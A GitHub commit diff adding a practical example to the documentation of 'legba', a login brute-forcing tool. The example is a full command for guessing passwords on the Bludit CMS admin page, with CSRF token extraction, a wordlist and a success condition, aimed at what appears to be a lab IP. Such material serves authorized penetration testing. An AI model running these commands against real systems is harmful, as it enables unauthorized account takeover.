Skip to content

Commit bf644bf

Browse files
committed
docs: added Bludit cms example to docs (ref #83)
1 parent 8620e22 commit bf644bf

1 file changed

Lines changed: 15 additions & 1 deletion

File tree

docs/plugins/http.md

Lines changed: 15 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -254,12 +254,26 @@ legba http \
254254
--username admin \
255255
--password wordlists/passwords.txt \
256256
--target http://localhost:8888/ \
257-
--http-csrf-page http://localhost:8888/ \ # where to grab the CSRF token from, or empty if it's the same as --target
257+
--http-csrf-page http://localhost:8888/ \ # where to grab the CSRF token from
258258
--http-csrf-regexp '<input type="hidden" name="([^\"]+)" value="([^\"]+)"' \ # regular expression to extract it
259259
--http-method POST \
260260
--http-payload 'user={USERNAME}&pass={PASSWORD}'
261261
```
262262

263+
Practical example for the Bludit CMS:
264+
265+
```sh
266+
legba http \
267+
--username admin \
268+
--password /path/to/your/wordlist.txt \
269+
-T http://10.10.10.191/admin/ \
270+
--http-csrf-page http://10.10.10.191/admin/ \
271+
--http-csrf-regexp 'id="jstokenCSRF" name="([^\"]+)" value="([^\"]+)"' \
272+
--http-method POST \
273+
--http-payload 'username={USERNAME}&password={PASSWORD}' \
274+
--http-success 'status == 301'
275+
```
276+
263277
Targeting an example Microsoft Exchange server via OWA:
264278

265279
```sh

0 commit comments

Comments
 (0)